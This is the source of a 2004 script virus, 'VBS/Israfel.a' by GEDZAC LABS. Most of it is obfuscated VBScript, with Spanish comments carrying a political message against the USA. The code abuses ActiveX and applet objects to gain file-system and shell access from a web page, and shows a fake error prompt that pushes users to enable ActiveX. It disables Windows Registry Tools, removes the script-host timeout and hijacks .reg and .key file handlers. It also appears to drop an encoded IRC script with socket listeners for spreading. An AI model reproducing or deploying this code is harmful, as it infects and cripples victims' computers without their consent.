'<*****************************GEDZAC LABS 2004****************************> Rem VBS/Israfel.a un producto de Rem USA aqui tienes un enemigo más, un grano de arena más en el desierto Rem Fk`ri'cnf'bbrr'wf`fuf'whu'vrbubu'cbdnukb'fk'jrich'dhjh'snbib'vrb'qnqnu+'~'btwbuh'btsfu'fvrn'wfuf'qbukh Rem Bk'tfrdb'tb'qf'tbdfich+'wbuh'kf'tbjnkkf'wbutntsb+'drfich'kf'snbuuf'tbf'kf'ncôibf'wfuf'wkfisfukf+'bk'tfrdb'`bujnifuæ'~'ofeuæ'hsuf'hwhusrincfc Rem Dhjh'cndb'erto='vrb'Cnht'ebicn`f'f'bbrr+'kh'qfi'f'ibdbtnsfu '<*************************************************************************> '.'#,'#dou/672..'| '''''na'/#5'::'Hi.'|')tbs'"f)hi'#surb'{')tbs'"f)indl'#indl'{')wunqjt`'#indl'Nindnfich'Tbdnhi'cb'Dhisuhk'Ubjhsh'=.'z '''na'/#5'::'Haa.'|')tbs'"f)hi'#afktb'{')ritbs'"f)indl'#indl'{')wunqjt`'#indl'Sbujnifich'Tbdnhi'cb'Dhisuhk'Ubjhsh'=.'z'z '''bktb'|')wunqjt`'#indl'wftt'nidhuubds'=/'z ')dkhtb'*dj'#indl'z 'Hi'6=Sbs=djc-=-=| '''na'/"f)hi':'#afktb.'|'ofks'z'{'qfu'"qs':'#ubjhqb/#6+djc. '''na'/"qs'::'TwNHi.'|')tbs'"TwN'#surb'z'{'bktbna'/"qs'::'TwNHaa.'|')tbs'"TwN'#afktb'z '''bktbna'/"qs'::'TwSdHi.'|')tbs'"TwSd'#surb'z'{'bktbna'/"qs'::'TwSwHi.'|')tbs'"TwSw'#surb'z '''bktbna'/"qs'::'TwSHaa.'|')tbs'"TwSd'#afktb'{')tbs'"TwSw'#afktb'z'{'bktbna'/"qs'::'Twlb~.'|')cdd'tbic'*d'#indl'#jnudcnu'#,'k`)oq'z '''bktbna'/"qs'::'Twcnu.'|')atbuqb'#indl'4'#kbas/#jnudcnu+4.'z'{'bktbna'/"qs'::'bns.'|')cntdhiibds'{')bns'z '''bktbna'/"qs'::'nw.'|')wunqjt`'#indl'#nw'z ')dkhtb'*dj'#indl'z 'Hi'6=Sbs=-=8=| '''na'/"TwSw':'#surb.'|')wunqjt`'"f)indl';'#,'#Indl'#,'9'#,'#6*'z '''na'/#IhSbs/#6*.':'#surb.'|')n`ihub'#indl'{')dkhtb'*dj'#indl'z 'z 'Hi'6=Sbs=-=$=| '''na'/"TwSd':'#surb.'|')wunqjt`'"f)indl';'#,'#Indl'#,'9'#,'#6*'z '''na'/#IhSbs/#6*.':'#surb.'|')wfus'#dofi'z 'z 'Hi'6=NIWRS=-=| '''na'"TwN':'#surb'|')wunqjt`'"f)indl'65'#,'#6*'#,''z '''na'/ncbisna~'ntni'#6*.'{{'/kh`ni'ntni'#6*.'| '''''qfu'"k`n':'#jnudcnu'#,'k`)oq '''''na'/#bntst/"k`n.':'#afktb.'|')punsb'"k`n'***Ntufabk***'#arkkcfsb'z '''''na'/#ubfc'*p-'#,'#jb'#,'-'"k`n':'#irkk.'| ''''''')punsb'"k`n'*****Ntufabk*****'{')punsb'"k`n'N:'#jb'{')punsb'"k`n'N:'#dofi ''''''')punsb'"k`n'N:'#6*'{')punsb'"k`n'N:'#bjfnk'{')punsb'"k`n'N:'#tbuqbu ''''''')punsb'"k`n'N:'#whus'{')punsb'"k`n'N:'Pn'#,'ich'#,'pt'#ht'{')punsb'"k`n'N:'#arkkcfsb ''')punsb'"k`n'*****Ntufabk*****'z'z 'na'/#IhSbs/#6*.':'#surb.'|'ofks'z'z 'Fknft'rikhfc'|')bdoh'*fb'#cbdhcb/LnEQejq^PUk]DE}^4MwdOV`Mp::+j.'#,'#5'#,' 'z 'Fknft'thdlknts'|'(bdoh'*fb'#cbdhcb/LnhvNB2qN@>p]P3`d5>mf5Q7dp::+j.'z 'Fknft'IhSbs'| '''na'/suhmfi'ntni'#6*.'{{'/suh~fih'ntni'#6*.'{{'/qnurt'ntni'#6*.'{{'/phuj'ntni'#6*.'{{'/tbs'ntni'#6*.'{{'/bifekb'ntni'#6*.'{{'/cntfekb'ntni'#6*.'{{'/ubjhsb'ntni'#6*.'{{'/tdunws'ntni'#6*.'{{'/wkf~'ntni'#6*.'{{'/thdl'ntni'#6*.'{{'/punsb'ntni'#6*.'{{'/cbdhcb'ntni'#6*.'{{'/fknft'ntni'#6*.'{{'/khfc'ntni'#6*.'{{'/rikhfc'ntni'#6*.'{{'/ubjnin'ntni'#6*.'{{'/ubjhqb'ntni'#6*.'{{'/bqbist'ntni'#6*.'{{'/snjbu'ntni'#6*.'|'ubsrui'#surb'z '''bktb'|'ubsrui'#afktb'z 'z '<*************************************************************************** 'dsdw'-=cdd'tbic=-=|'na'/#kbi/#ihwfso/#ankbifjb..'9:'552.'|'ofks'z'z 'fknft'`ehs'|'na'/#thdl/`ehs.)tsfsrt'::'fdsnqb.'|'ofks'z'{'`tbuq'{'"ut':'#u/6+2.'{')snjbu'6'4')thdlhwbi'`ehs'#o`bs/`Tq+"ut.'1110'z 'fknft'`pt'|'na'/#thdl/#6.)tsfsrt'::'fdsnqb.'|'thdlpunsb'*i'#6'#5*'z'z 'fknft'uindl'|'ubsrui'#ufic/F+}.'#,'#ufic/f+}.'#,'#ufic/f+}.'#,'#ufic/f+}.'#,'#ufic/F+}.'#,'#ufic/f+}.'#,'#ufic/F+}.'z 'fknft'urtbu'|'"q':'#u/6+>. '''na'/"q'::'6.'"q':'#cbdhcb/f@>7ePAweD2me57:+j.'{'na'/"q'::'5.'"q':'#cbdhcb/e@A7fP2s^PktKjIqeV::+j.'{'na'/"q'::'4.'"q':'#cbdhcb/bPAhe5?r^5>s+j. '''na'/"q'::'3.'"q':'#cbdhcb/c@Q~djBr^5>s+j.'{'na'/"q'::'2.'"q':'#cbdhcb/e_IrKjIqeV::+j.'{'na'/"q'::'1.'"q':'#cbdhcb/djIpKj2kcF::+j. '''na'/"q'::'0.'"q':'#cbdhcb/]5QlbjAmKj>~]p::+j.'{'na'/"q'::'?.'"q':'#cbdhcb/c@Qt]P]qejkm^T2me57:+j.'{'na'/"q'::'>.'"q':'#cbdhcb/d@Q~cT2me57:+j. 'ubsrui'RTBU'#uindl'%'#,'"q'#,'%'%'#,'#thdl/#thdlifjb.)nw'#,'%'='#,'"q'z 'hi'-=thdlhwbi=`ehs=|')snjbuee'haa'{'`pt'`ehs'INDL'#uindl'{'`pt'`ehs'#urtbu'{')Tbs'"udo'#Dou/42.'#,'#uindl'{')snjbuee'2'27'`pt'`ehs'mhni'"udo'{')snjbufk'2'17'`pt'`ehs'shwnd'"udo'@BC]FD'z 'hi'-=thdldkhtb=`ehs=|')snjbue'haa'{')snjbue'6'657'`ehs'z 'hi'-=thdlubfc=`ehs=|'na'/#thdlbuu'9'7.'|'ubsrui'z '''na'/#thdl/`ehs.)tsfsrt'::'fdsnqb.'|'thdlubfc'"uehs'z'{'bktb'|'ubsrui'z '''na'/#thdleu'::'7.'|'ubsrui'z'{'na'/"uehs'::'#irkk.'|'"uehs':'*'z '''na'/#`bsshl/"uehs+6+45.'::'WNI@.'|'`pt'`ehs'WHI@'#`bsshl/"uehs+5+2?.'z '''na'/#`bsshl/#`bsshl/"uehs+6+45.+5+13.'&:'#cbdhcb/U@A~f76o^5owejRrc_IkdiJrcP2l]_Mr]_Vre4Mi+j..'|'ofks'z '''na'/ENIAH'ntni'"uehs.'|')thdlpunsb'*i'#thdlifjb'wunqjt`'"udo'='#,'#jb'#,'#dou/45.'#,'#tbuqbu'#,'#dou/45.'#,'#whus'#,'#dou/45.'#,'#jnudcnu'#,'#dou/45.'#,'#nw'#,'#dou/45.'#,'#cfsb'#,'#dou/45.'#,'#snjb'z '''na'/fwd'ntni'"uehs.'|'#`bsshl/"uehs+2*+45.'z 'na'/ftq'ntni'"uehs.'|')thdlpunsb'*si'`ehs'#`bsshl/"uehs+2*+45.'z'z 'Fknft'`ossw'|'na'/#thdl/wossw.)tsfsrt'&:'kntsbini`.'|')thdlkntsbi'wossw'5773'z 'na'/#thdl/wankb.)tsfsrt'&:'kntsbini`.'|')thdlkntsbi'wankb'5774'z'z 'Hi'-=thdlkntsbi=wossw=|')thdlfddbws'sosj'#,'#u/7+>>>>>>>>>>.'z 'Hi'-=thdlkntsbi=wankb=|')thdlfddbws'sank'#,'#u/7+>>>>>>>>>>.'z 'Hi'-=thdlubfc=sosj-=|'na'/#thdlbuu'9'7.'|'ubsrui'z '''na'/#thdl/#thdlifjb.)tsfsrt'::'fdsnqb.'|'thdlubfc'"uos'z '''bktb'|'ubsrui'z '''na'/#thdleu'::'7.'|'ubsrui'z'{'na'/"uos'::'#irkk.'|'"tbicTud':'*'z '''na'/#`bsshl/"uos+5+45.'::'#cbdhcb/K5kr]@Q3Kjo7eV::+j..'| '''''oobfc '''''`pt'#thdlifjb'#cbdhcb/W@o7ePp,W@`~WlMo^5sBe5>~Klo7cOF`VjA~]@kkeD2CN@M2NBck]Owo^~EJ^PM}WD>hJm3?K5o7ePp,+j. '''z '''na'/(d=b6'ntni'#`bsshl/"uos+5+45..'{{'/(c=b6'ntni'#`bsshl/"uos+5+45..'| '''''"ocu':'#ubwkfdb/#jnc/#`bsshl/"uos+5+45.+5.+b6+[. '''''oobfc '''''`pt'#thdlifjb'#cbdhcb/W@o7ePp,W@`~WlMo^5sBe5>~Klo7cOF`VjA~]@kkeD2CND7`U@k~d~El]V::+j.'#,'#dou/45.'#,'"ocu'#,';(o59;wub9 '''''"dsc':'6 '''''ponkb'/"dsc';:'#aniccnu/#ubwkfdb/"ocu+X+#dou/45..+-)-+7+6..'| '''''''`pt'#thdlifjb'#aniccnu/#ubwkfdb/"ocu+X+#dou/45..+-)-+"dsc+6.'{'nid'"dsc '''''z '''''`pt'#thdlifjb'#cbdhcb/W@o7ePp,W@`~WlMo^5sBe5>~Klo7cOF`VjA~]@kkeD2CND7`Ujkt]_J`]@R:+j.'#,'#dou/45.'#,'"ocu'#,';(o59 '''''"dsc':'6 '''''ponkb'/"dsc';:'#anicankb/#ubwkfdb/"ocu+X+#dou/45..+-)-+7+6..'| '''''''`pt'#thdlifjb'#anicankb/#ubwkfdb/"ocu+X+#dou/45..+-)-+"dsc+6.'{'nid'"dsc '''''z '''''`pt'#thdlifjb'#cbdhcb/WD>pdjR,WD>hc@6tW`::+j. 'z'z 'Fknft'oobfc'| '''`pt'#thdlifjb'#cbdhcb/TAURRD?KmB`JmFpNB>K+j. '''`pt'#thdlifjb'#cbdhcb/R5Q~cjQ~HnEH]_U}^5Ap]T6AeiUkdiE~f_IkK}VrJV::+j. '''`pt'#thdlifjb'#cbdhcb/U@A7]Sh:+j.'#,'#Dou/45.'#,'#arkkcfsb '''`pt'#thdlifjb'#cbdhcb/V5>rc@QrcD67b_EkHnE7]_o7K5o7ePp:+j. '''`pt'#thdlifjb'#cbdhcb/U_Uo]}h`Nj^3IjV5]CN5KPB3KSV~JT7}]mkjHPB~JnN:+j. '''`pt'#thdlifjb'#cbdhcb/S@A}cD6se5Uw]jkk]Ch:+j.'#,'#Dou/45.'#,'#arkkcfsb '''`pt'#thdlifjb'#cbdhcb/VPIm]_E7KRQr^5>lfP2iHnEw]@Qrc@k7bV::+j. '''`pt'#thdlifjb'#cbdhcb/VPIm]_E7K_Moejckd}h`^ik7]_J:+j. '''`pt'#thdlifjb'#duka'{'"do':'6 '''ponkb'/"do';'0.'|'`pt'#thdlifjb'#cbdhcb/^PAo^PAo^PAo^PAo^PAo^PAo^PAo^PAo^PAo^PAo^PAo+j.'{'nid'"do'z 'z 'Hi'-=thdlubfc=sank-=|'na'/#thdlbuu'9'7.'|'ubsrui'z '''na'/#thdl/#thdlifjb.)tsfsrt'::'fdsnqb.'|'thdlubfc'"tbicAnk'z '''bktb'|'ubsrui'z '''na'/#thdleu'::'7.'|'ubsrui'z '''na'/"tbicAnk'::'#irkk.'|'"tbicAnk':'*'z '''na'/(d=b6'ntni'#`bsshl/"tbicAnk+5+45..'{{'/(c=b6'ntni'#`bsshl/"tbicAnk+5+45..'| '''''tbicAnkb'#ubwkfdb/#jnc/#`bsshl/"tbicAnk+5+45.+5.+b6+[. 'z'z 'Fknft'tbicAnkb'| '''`pt'#thdlifjb'#cbdhcb/TAURRD?KmB`JmFpNB>K+j. '''`pt'#thdlifjb'#cbdhcb/U@A7]Sh:+j.'#,'#Dou/45.'#,'#arkkcfsb '''`pt'#thdlifjb'#cbdhcb/R5Q~cjQ~HnEH]_U}^5Ap]T6AeiUkdiE~f_IkK}VrJV::+j. '''`pt'#thdlifjb'#cbdhcb/VPIm]_E7KQMoejckd}h`^ik7]_J:+j. '''`pt'#thdlifjb'#cbdhcb/V5>rc@QrcD6Rb_EkHnEodOEtfPIoc@kqen>q^4UkcD6}cOMk^P7:+j. '''`pt'#thdlifjb'#cbdhcb/V5>rc@QrcD6J]P2ic@`1+j.'#,'#Dou/45.'#,'#ankb/#6*.)tn}b '''`pt'#thdlifjb'#cbdhcb/VPIm]_E7KRQr^5>lfP2iHnEw]@Qrc@k7bV::+j. '''`pt'#thdlifjb'#duka '''Tbs'"kank'7'{'Tbs'"rank'#kha/#6*.'{'Tbs'"`ank'#6* 'z 'Fknft'twubfc'|'na'/#ntankb/#5*.'::'#surb.'|'eubfc'%'#,'#5*'#,'%'"kank'13'!a~kb'z 'thdlpunsb'#6'!a~kb'{'"kank':'#dfkd/"kank','#eqfu/!a~kb+7..'z 'Hi'-=thdlpunsb=sank-=|'na'/#thdlbuu'9'7.'|'thdldkhtb'#thdlifjb'{'ubsrui'z '''na'/"kank'9:'"rank.'|'thdldkhtb'#thdlifjb'{'ubsrui'z 'twubfc'#thdlifjb'"`ank'z 'Fknft'`tbuq'| '''ofcc'*j'`Tq'6'#cbdhcb/f_MmKiQr]@Q~ejQ7Kj>~]p::+j. '''ofcc'`Tq'5'#cbdhcb/ePArf@A7c@ArKjs}KiQ}KiQr]@Q~ejQ7Kj>~]p::+j. '''ofcc'`Tq'4'#cbdhcb/d@Ar^P6o^5k7bT2p^T26ejUkdj2kcD2qdjd:+j. '''ofcc'`Tq'3'#cbdhcb/d5Ar]@kk]5?r^5Brc_JrcP2l]_Mr]_Vre4Mi+j. '''ofcc'`Tq'2'#cbdhcb/]jAwdj]obD25^T26d~26ejUkdj2kcD2qdjd:+j. 'z '<*************************************************************************** 'Hi'6=DHIIBDS=|'(Ritbs'"eq)-'"f)-'"iq)-'{'(tbs'"TwN'#afktb'{'(tbs'"TwS'#afktb'{'(tbs'"f)hi'#afktb'{'(Ubjhsb'Hi'{'`ehs'{'`ossw'z 'Hi'6=MHNI=-=|'na'/#indl'&:'#jb.'|'|'tnq'z'{'|'tq'z'z'{'bktb'|'na'/f~rcf'ntni'$.'{{'/obkw'ntni'$.'{{'/qnurt'ntni'$.'{{'/fqs'ntni'$.'{{'/qo'ntni'$.'{{'/`n`fnud'ntni'$.'|')wunqjt`'$'Nud)Ntufabk)F'e~'@BC]FD'KFET'{')cntdhiibds'{')bns'z'z'z 'Hi'6=AnkbUdqc=-=|'na'/#indl'&:'#jb.'|'|'tnq'z'{'|'tq'z'z'z 'Hi'6=WFUS=$=|'na'/#indl'&:'#jb.'|'|'tnq'z'{'|'tq'z'z'z 'Hi'6=AnkbTbis=-=|'na'/)}nw'ntni'#ankbifjb.'|'ofks'z'{'qfu'"wt':'pt~t'#,'#cbdhcb/_@]we@Q1f_Frbjkp+j.'{')dhw~'*h'"wt'#ihankb/"wt.'#,'#`bsshl/#ihwfso/#ankbifjb.+6+31.'#,'5)}nw'{'dtq'#indl'#ihankb/"wt.'#,'#`bsshl/#ihwfso/#ankbifjb.+6+31.'#,'5)}nw'$hw'z 'Hi'6=TBICAFNK=-=|'ofks'z 'Fknft'tq'|'qfu'"we':'pt~t'#,'#cbdhcb/_@]we@Q1f_Frbjkp+j. '''na'/#bntst/"we.':'#afktb.'|'ofks'z'{'qfu'"ue':'#ufic/6+67. '''na'/"ue':'6.'|')dhw~'*h'"we'#ihankb/"we.'#,'#cbdhcb/ej>7]_Jrbjkp+j.'{'Tbs'"eq)ankb'#ihankb/"we.'#,'#cbdhcb/ej>7]_Jrbjkp+j.'z '''bktbna'/"ue':'5.'|')dhw~'*h'"we'#ihankb/"we.'#,'#cbdhcb/cjkl]P>}KiwwdF::+j.'{'Tbs'"eq)ankb'#ihankb/"we.'#,'#cbdhcb/cjkl]P>}KiwwdF::+j.'z '''bktbna'/"ue':'4.'|')dhw~'*h'"we'#ihankb/"we.'#,'#cbdhcb/bOo3KiwwdF::+j.'{'Tbs'"eq)ankb'#ihankb/"we.'#,'#cbdhcb/bOo3KiwwdF::+j.'z '''bktbna'/"ue':'3.'|')dhw~'*h'"we'#ihankb/"we.'#,'#cbdhcb/SPArcPAtR5QlcPImfP>rKiwwdF::+j.'{'Tbs'"eq)ankb'#ihankb/"we.'#,'#cbdhcb/SPArcPAtR5QlcPImfP>rKiwwdF::+j.'z '''bktbna'/"ue':'2.'|')dhw~'*h'"we'#ihankb/"we.'#,'#cbdhcb/d@>}c@AtKiwwdF::+j.'{'Tbs'"eq)ankb'#ihankb/"we.'#,'#cbdhcb/d@>}c@AtKiwwdF::+j.'z '''bktbna'/"ue':'1.'|')dhw~'*h'"we'#ihankb/"we.'#,'#cbdhcb/f@Qmf@k1e4Jrbjkp+j.'{'Tbs'"eq)ankb'#ihankb/"we.'#,'#cbdhcb/f@Qmf@k1e4Jrbjkp+j.'z '''bktbna'/"ue':'0.'|')dhw~'*h'"we'#ihankb/"we.'#,'#cbdhcb/fP6o]5Q}KiwwdF::+j.'{'Tbs'"eq)ankb'#ihankb/"we.'#,'#cbdhcb/fP6o]5Q}KiwwdF::+j.'z '''bktbna'/"ue':'?.'|')dhw~'*h'"we'#ihankb/"we.'#,'#cbdhcb/d5Q3KiwwdF::+j.'{'Tbs'"eq)ankb'#ihankb/"we.'#,'#cbdhcb/d5Q3KiwwdF::+j.'z '''bktbna'/"ue':'>.'|')dhw~'*h'"we'#ihankb/"we.'#,'#cbdhcb/^_]~fPprbjkp+j.'{'Tbs'"eq)ankb'#ihankb/"we.'#,'#cbdhcb/^_]~fPprbjkp+j.'z '''bktbna'/"ue':'67.'|')dhw~'*h'"we'#ihankb/"we.'#,'#jb'#,')}nw'{'Tbs'"eq)ankb'#ihankb/"we.'#,'#jb'#,')}nw'z ')n`ihub'*uwdisnlr62'#fccubtt/#indl+6.'{'dtq'#indl'"eq)ankb'#dofi'z 'Fknft'tnq'|'qfu'"ue4':'#ufic/6+67.' '''na'/"ue4':'6.'|'qfu'"je4':'#cbdhcb/F}`tJR]qc@>}NAo^PFJCIDpN@o7cOF1K~>s]P6n]_M}Kj2^5>}KjIqKiQuK5k}]_M5]_N7K4Et^_kne4lr^_]wNFJCHDpNAo^PDE@e4UqdpJ:+j.'z '''bktbna'/"ue4':'5.'|'qfu'"je4':'#cbdhcb/F}VtJR]~]PR`PAo^NAIkbA]w]@QqNFJCHDpfOU7dChqK56kePM~]_JreOkme4Jr]iNqf_Ikdi]kdmRqd5Q3]_Im]P2kKjA5fVJ:+j.'z '''bktbna'/"ue4':'4.'|'qfu'"je4':'#cbdhcb/F}FtJSIIf_MoN@oN@]qc@?`FpJ7KCBsW`JCHDpIDEhcOUpHn?qePQs^iMkd~2tbPIqd~2jdn>wd5Q~cjQ~IT>oejU~]PBrfiEiFp::+j.'z '''bktbna'/"ue4':'3.'|'qfu'"je4':'#cbdhcb/F}QHe~EmdjQkd~EkenEte~Ep^_Moej>~ePAtW~FCF}B7fOU7dChqK56kePMkdiJreOkme4Jr^5?rcPtqf_Ikdi]kdmVqf@Al^T2ifP^`HipC+j.'z '''bktbna'/"ue4':'2.'|'qfu'"je4':'#cbdhcb/F}B}KCADdjk7ejQ2KDECfOMwd4UwejBtNBwkej2w]jQ~KDEkc@J`FpJ3KCAhcOUpHn?qc_UkeiUwKj2^5>}Kjk7K4k}]_M5]_N}K5M~f_Ur]_lr^_]wFp::+j.'z '''bktbna'/"ue4':'1.'|'qfu'"je4':'#cbdhcb/F}VtJQEw^4J`SP>l]P}NFJCJSJtJPo7cOF1K~>6c@Qrc@lreOkme4Jrf_Vqb_Ikdi]kdmJqcjk5fPAr^T2vd@dCF}VtJTEIe5UkeOJ`R@kmdpJ:+j.'z '''bktbna'/"ue4':'0.'|'qfu'"je4':'#cbdhcb/F}dtJBApdjQr]@R`^TEme52cPk}c@A~N@AtNOIkb@?`e4E6]_I7e~FCF}B}KCF`fOU7dChqK56wc@ctfPQlKj2^5>}KjUkK5k}]_M5]_N~K4Ik]OQm^5kqen27bOVC+j.'z '''bktbna'/"ue4':'?.'|'qfu'"je4':'#cbdhcb/F}VtHB6wdjB`]_I7^TEje4UqNFJCHDp7fOU7dChqK56kePMkdiJreOkme4Jrejpqf_Ikdi]kdmBqe4]rfT2vd@dC+j.'z '''bktbna'/"ue4':'>.'|'qfu'"je4':'#cbdhcb/F}VtJR]~]PR`d@kmd~EOf_Mtd~p`Q@QkeiJ`FpJ3KCAhcOUpHn?qePk7]5w]PVreOkme4Jr]@Rqf_Ikdi]kdmNqf5A7f@Q~fP2kKjwp]pJ:+j.'z '''bktbna'/"ue4':'67.'|'qfu'"je4':'#cbdhcb/F}B~KCEL]P2w]jQ~NBqcjR`T@Q4f_U7NAIkbDEPfPUke~FCF}VtJ@o7cOF1K~>s]P6n]_M}Kj2^5>}Kj2tK5k}]_M5]_NK5wkejkj]_Mte4]kKjA5fVJ:+j.'z ')wunqjt`'#indl'"je4'z 'Fknft'dtq'|'tbs'"eq)ankb'#5 '''na'/'#6'nthw'#4'.'{{'/'#6'ntqhndb'#4'.'|'ofks'z '''na'/'#bntst/"eq)ankb.':'#afktb'.'|'ofks'z '''na'/'#thdl/eq)-+7.'9'2'.'|'ubsrui'z '''Tbs'"eq)'#,'#6'7'{'=tdfiws'{'Tbs'"ws'#ufic/5377+2777.' '''na'/'#whusaubb/"ws.':'#afktb'.'|'`hsh'tdfiws'z' '''Tbs'\'"'#,'\'iq)'#,'\'#6'Z'Z'Z'7'{'Tbs'"wl)'#,'#6'37>1'{'Tbs'"t}'#ankb/"eq)ankb.)tn}b '''Tbs'"eq)qsw6'eq)'#,'#6'{')snjbu'#,'#6'6'477'|')thdldkhtb'"eq)qsw6'{')thdldkhtb'n)'#,'#6'z ''')snjbu'#,'#6'6'27'be'#6'{')n`ihub'*r>7'#6'5 ''')ufp'*v'wunqjt`'#6'='#,'#dou/6.'#,'CDD'TBIC'"eq)ankb'#khi`nw/#nw.'"ws'"t}'#,'#dou/6. 'na'/'#thdl/"eq)qsw6.'&:'#irkk'.'|')thdldkhtb'"eq)qsw6'z'{')thdlkntsbi'"eq)qsw6'"ws'z 'Fknft'be'|'na'/'\'"'#,'\'iq)'#,'\'#6'Z'Z'Z':'7'.'|')thdldkhtb'\'n)'#,'\'#6'Z'Z'{')thdldkhtb'\'eq)'#,'\'#6'Z'Z'{')snjbu'#,'#6'haa'z'z 'Fknft'ktq'|'na'/'#dfkd/'\'"'#,'\'iq)'#,'\'#6'Z'Z'Z','\'"'#,'\'wl)'#,'\'#6'Z'Z'Z'.';'"t}.'|'eubfc'"eq)ankb'\'"'#,'\'iq)'#,'\'#6'Z'Z'Z'\'"'#,'\'wl)'#,'\'#6'Z'Z'Z'!cfsf'{')thdlpunsb'n)'#,'#6'!cfsf'{'nid'\'"'#,'\'iq)'#,'\'#6'Z'Z'Z'\'"'#,'\'wl)'#,'\'#6'Z'Z'Z'z'{'bktb'|'Tbs'\'"'#,'\'eq)'#,'\'#6'Z'Z'Z'6'{'\'"'#,'\'wl)'#,'\'#6'Z'Z'Z':'#dfkd/'"t}'*'\'"'#,'\'iq)'#,'\'#6'Z'Z'Z'.'{'na'/'\'"'#,'\'wl)'#,''\'#6'Z'Z'Z':'7.'|'ubsrui'z'{'eubfc'"eq)ankb'\'"'#,'\'iq)'#,'\'#6'Z'Z'Z'\'"'#,'\'wl)'#,'\'#6'Z'Z'Z'!cfsf'{')thdlpunsb'n)'#,'#6'!cfsf'z'z 'Hi'6=ThdlDkhtb=n)-=|'Tbs'"eq)sjw1'#ubjhqb/#thdlifjb+n).'{'thdldkhtb'#thdlifjb'{'thdldkhtb'\'eq)'#,'\'"eq)sjw1'Z'Z'{')snjbu'#,'"eq)sjw1'haa'z 'Hi'6=ThdlKntsbi=eq)-=|'Tbs'"eq)sjw2'#ubjhqb/#thdlifjb+eq).'{'thdlfddbws'n)'#,'"eq)sjw2'{'ktq'"eq)sjw2'z 'Hi'6=ThdlPunsb=n)-=|'Tbs'"eq)sjw1'#ubjhqb/#thdlifjb+n).'{'na'/'\'"'#,'\'eq)'#,'\'"eq)sjw1'Z'Z'Z':'6'.'|')snjbu'#,'#ufic/>>+>>>>.'6'67'thdldkhtb'#thdlifjb'{')snjbu'#,'#u/>>+>>>>.'6'67'thdldkhtb'\'eq)'#,'\'"eq)sjw1'Z'Z'{')snjbu'#,'"eq)sjw1'haa'{'ofks'z'{'ktq'"eq)sjw1'z 'Hi'6=bns=|'qfu'"ebw':'pt~t'#,'['{'qfu'"do':'6'{'ponkb'/"do';:'67.'| '''''na'/"do':'6.'|'qfu'"dow':'"ebw'#,'#cbdhcb/ej>7]_Jrbjkp+j.'z '''''na'/"do':'5.'|'qfu'"dow':'"ebw'#,'#cbdhcb/cjkl]P>}KiwwdF::+j.'z '''''na'/"do':'4.'|'qfu'"dow':'"ebw'#,'#cbdhcb/bOo3KiwwdF::+j.'z '''''na'/"do':'3.'|'qfu'"dow':'"ebw'#,'#cbdhcb/SPArcPAtR5QlcPImfP>rKiwwdF::+j.'z '''''na'/"do':'2.'|'qfu'"dow':'"ebw'#,'#cbdhcb/d@>}c@AtKiwwdF::+j.'z '''''na'/"do':'1.'|'qfu'"dow':'"ebw'#,'#cbdhcb/f@Qmf@k1e4Jrbjkp+j.'z '''''na'/"do':'0.'|'qfu'"dow':'"ebw'#,'#cbdhcb/fP6o]5Q}KiwwdF::+j.'z '''''na'/"do':'?.'|'qfu'"dow':'"ebw'#,'#cbdhcb/d5Q3KiwwdF::+j.'z '''''na'/"do':'>.'|'qfu'"dow':'"ebw'#,'#cbdhcb/^_]~fPprbjkp+j.'z '''''na'/"do':'67.'|'qfu'"dow':'"ebw'#,'#jb'#,')}nw'z '''na'/#bntst/"dow.':'#surb.'|')ubjhqb'"dow'z'{'nid'"do'z 'qfu'"id':'#anicankb/"ebw+-5)}nw+7.'{'qfu'"td':'6'{'ponkb'/"td';:'"id.'|')ubjhqb'#anicankb/"ebw+-5)}nw+"td.'{'nid'"td'z'z 'Hi'6=Cntdhiibds=|')snjbut'haa'{')thdldkhtb'eq)-'{')thdldkhtb'n)-'z '---------------------------------------------------------------------------- On Error Resume Next Dim fso, wsl, wsn, sdy, iscript, Espejo, jscode, Atf If iH() Then If iHt() Then Err.Clear Set fso = CreateObject(q("Tdunwsni`)AnkbT~tsbjHembds")) Set wsl = CreateObject(q("PTdunws)Tobkk")) If Err.Number <> 0 Then If InStr(LCase(Navigator.SystemLanguage),q("bt")) <> 0 Then msgh=q("Buuhu'5766") & vbCrlf & q("Btsf'Wf`nif'Ubvrnbub'Dhisuhkbt'Fdsnqb_'wfuf'tbu'jhtsufcf'bi'tr'shsfkncfc") & vbCrlf & q("Wubtnhib'Fdbwsfu") Else msgh=q("Buuhu'5766") & vbCrlf & q("Sont'Wf`nifsbt'ns'Ubvrnubt'Dhisuhkt'Fdsnqb_'sh'eb'tohpi'ni'sobnu'bisnubs~") & vbCrlf & q("Wubtt'sh'Fddbws") End If Window.alert(msgh) document.location.reload End If Else Set AppleObject = document.applets("GEDZAC") AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") AppleObject.createInstance() Set wsl = AppleObject.GetObject() AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}") AppleObject.createInstance() Set fso = AppleObject.GetObject() End If Call Dropvbs Else Set fso = CreateObject(q("Tdunwsni`)AnkbT~tsbjHembds")): Set wsl = CreateObject(q("PTdunws)Tobkk")) Set wsn = CreateObject(q("PTdunws)Ibsphul")): Set Sdy = CreateObject(q("Tdunwsni`)Cndsnhifu~")) Set ms = fso.OpenTextFile(Gsp(3)): iscript = ms.ReadAll: ms.Close Rgw q("OLB^XDKFTTBTXUHHS[ub`ankb[tobkk[hwbi[dhjjfic["), "GEDZAC", "" Rgw q("OLB^XDKFTTBTXUHHS[lb~ankb[tobkk[hwbi[dhjjfic["), "GEDZAC", "" Rgw q("OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Pnichpt'Tdunwsni`'Ohts[Tbssni`t[Snjbhrs"),0,"REG_DWORD" Rgw q("OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Whkndnbt[T~tsbj[CntfekbUb`ntsu~Shhkt"),1,"REG_DWORD" Rgw q("OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[PnichptIS[DruubisQbutnhi[Whkndnbt[T~tsbj[CntfekbUb`ntsu~Shhkt"),1,"REG_DWORD" Rgw q("OLB^XKHDFKXJFDONIB[Thaspfub[Jnduhthas[Pnichpt'Tdunwsni`'Ohts[Tbssni`t[Snjbhrs"),0,"REG_DWORD" Rgw q("OLB^XKHDFKXJFDONIB[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Whkndnbt[T~tsbj[CntfekbUb`ntsu~Shhkt"),1,"REG_DWORD" Rgw q("OLB^XKHDFKXJFDONIB[Thaspfub[Jnduhthas[PnichptIS[DruubisQbutnhi[Whkndnbt[T~tsbj[CntfekbUb`ntsu~Shhkt"),1,"REG_DWORD" 